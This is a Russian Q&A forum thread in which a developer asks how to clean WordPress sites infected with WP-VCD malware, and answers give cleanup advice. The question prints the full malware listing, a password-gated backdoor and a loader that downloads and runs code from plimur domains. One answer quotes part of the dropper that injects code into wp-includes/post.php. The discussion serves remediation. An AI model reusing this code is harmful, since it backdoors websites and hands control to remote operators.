@easycode
не боюсь задавать глупые вопросы ))

WordPress-вирус Wp-vcd Malware — как и чем лечить множество сайтов на локальном и удаленном серваке?

Сегодня обнаружил незнакомый php-код в самом начале functions.php файла темы на локальной копии сайта клиента в OpenServer.

Проанализировав код (см. ниже его листинг), становится понятно какие вредоносные файлы создает и использует вирус:
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
@file_put_contents('wp-tmp.php', $tmpcontent);

контент берется отсюда: @file_get_contents("www.plimur.me/code.php")

Оказалось это: Wp-vcd Malware (описание: https://medium.com/@cirku17/wp-vcd-malware-analysi...).

Он уже заразил все сайты в папке domains Open Server'а.

Теперь думаю какой план лечения применить для локальных сайтов на Open Server, а также сайтов на хостинге - которые 99% возможно заражены и их тоже придется лечить.

В ручном режиме искать файл и удалять код?
Использовать Wordfence Security?
Как бы вы решали такую проблему?

Dr.Web и Каспер сканер естественно на эту заразу не реагируют!

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '6a4e5fe9a1201bb912b919582d2b4d6a'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
            fwrite($handle, "<?php\n" . $phpCode);
            fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='4ac5f5262e6795cb9216f0b8db3a8f0b';
        if (($tmpcontent = @file_get_contents("http://www.plimur.net/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.plimur.net/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.plimur.me/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif (($tmpcontent = @file_get_contents("http://www.plimur.xyz/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.plimur.xyz/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        }
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>
  • Вопрос задан
  • 14054 просмотра
Пригласить эксперта
Ответы на вопрос 5
alex-1917
@alex-1917
Если ответ помог, отметь решением
Искать бекап без дряни, через какое время проерить, правильный ли оказался бекап, если нет, тогда искать еще более ранний.
А вообще судя по статистике именно данной дряни, скорее всего (не утверждаю) дрянь полезла из ворованных плагинов.
Как миллионы еще одних сайтов на WP не заражаются, вопрос не вставал? А то щас раздуете из мухи слона, кинув очередной камень в огород WP.
Ответ написан
@karp900
Все намного проще, процедура лечения простая, я сам попадался на эту дрянь. вот пример файл который находился в плагине во время установки class.plugin-modules.php
Если внимательно посмотреть на весь код, то становиться понятно что нужно сделать, ОН просто вообще не нужен вот небольшой кусок из этого файла if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
{
if (strpos($file, 'wp-vcd') === false) {
$file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file;
file_put_contents($path . '/wp-includes/post.php', $file);
//@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('www.lanons.com/admin.txt'));
}
}
Именно один файл при установке стороннего плагина или шаблона создает всю конитель с вирусами, перед установкой стоит заглядывать в то, что устанавливаете
Ответ написан
kotboris
@kotboris
Руководитель студии, дизайнер и разработчик сайтов
Тоже на днях попался на эту дрянь. Вся зараза находится в файле class.plugin-modules.php, он присутствовал в плагине в 2 папках. Нужно их удалить и плагин или тема здоровы. Но если он успел уже натворить делов, то нужно сначала полезть в functions.php текущей темы и найти там код, который вы описали в вопросе. Потом в папке ядра WP в wp-includes найти 2 файла wp-temp.php и wp-vcd.php, и удалить их к чертям) всё, ваш вп чист. Рекомендую проверять все плагины и темы в virustotal перед установкой, а вообще старайтесь не пользоваться пиратскими плагинами и темами. Лучше один раз заплатить полторы тысячи, чем потом страдать от вирусов. Я вот покупаю лицензии, но тут вдруг решил проверить нуленый плагин, до покупки и сильно пожалел. Мои сайты ушли из топа из-за это дряни и неизвестно когда вернутся теперь.
Ответ написан
@gadzhkamil
Поиском пользоваться уже не умеем? По первой же ссылке подробное описание удаления этой гадости: https://chtokak.com/post/chto-za-virus-wp-vcd-i-ka...
А вообще не ставьте нуленые плагины и темы - эта бяка исключительно оттуда лезет. Ну или хотя бы чистите перед установкой - удаляйте из архива файлы с ключевым словом wp-vcd (обычно это class.plugin-modules.php как написали выше)
Ответ написан
Комментировать
@prografika
О да эта дрянь сервера заражает и многие хостинги доказывают что это не мы, чистить ее не проблема файл functions.php и обновить движок, но если не пофиксить на сервере все без толку. Я иногда просто предлагаю сменить сервер, так как сам серверами не занимаюсь и часто даже обычные шареды подвергаются, где нет возможности поискать заразу.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы